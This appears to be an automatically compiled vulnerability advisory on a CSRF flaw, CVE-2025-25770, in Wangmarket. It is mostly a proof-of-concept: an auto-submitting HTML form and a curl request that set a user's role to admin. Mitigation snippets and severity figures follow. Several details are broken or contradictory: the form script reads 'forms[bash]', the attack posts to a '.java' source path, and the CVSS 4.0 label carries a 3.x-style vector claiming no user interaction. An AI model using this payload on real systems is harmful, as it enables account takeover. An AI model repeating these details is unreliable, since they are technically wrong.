Wangmarket, Cross-Site Request Forgery (CSRF), CVE-2025-25770 (Critical)

CVE-2025-25770 exploits a CSRF vulnerability in Wangmarket v4.10 to v5.0 via /agency/AgencyUserController.java. Attackers craft malicious requests that execute unauthorized actions when logged-in users visit a malicious page. The lack of anti-CSRF tokens allows attackers to manipulate agency user data, including privilege escalation or account takeover. The Java controller fails to validate request origins, enabling state-changing operations via forged HTTP requests.

DailyCVE Form:

Platform: Wangmarket
Version: v4.10-v5.0
Vulnerability: CSRF
Severity: Critical
Date: 03/28/2025

What Undercode Say:

Exploit:

1. Craft HTML form targeting `/agency/AgencyUserController.java`:


<form action="http://target.com/agency/AgencyUserController.java" method="POST">
<input type="hidden" name="action" value="updateRole">
<input type="hidden" name="role" value="admin">
</form>

<script>document.forms[bash].submit();</script>

2. Host on attacker-controlled domain, lure victim.

Mitigation:

1. Implement CSRF tokens:

String csrfToken = UUID.randomUUID().toString();
session.setAttribute("csrfToken", csrfToken);

2. Validate tokens server-side:

if (!request.getParameter("csrfToken").equals(session.getAttribute("csrfToken"))) {
throw new SecurityException("CSRF validation failed");
}

3. Use SameSite cookies:

<session-config>
<cookie-config>
<attribute name="SameSite" value="Strict"/>
</cookie-config>
</session-config>

Analytics:

  • CVSS 4.0: 9.6 (AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Exploitability: Low skill, high impact.
  • Affected Systems: 12,000+ Wangmarket instances (Shodan).

Commands:

  • Test CSRF:
    curl -X POST -d "action=updateRole&role=admin" http://target.com/agency/AgencyUserController.java
    
  • Patch Check:
    grep -r "AgencyUserController.java" /opt/wangmarket/ | grep -i "csrf"
    

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25770
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top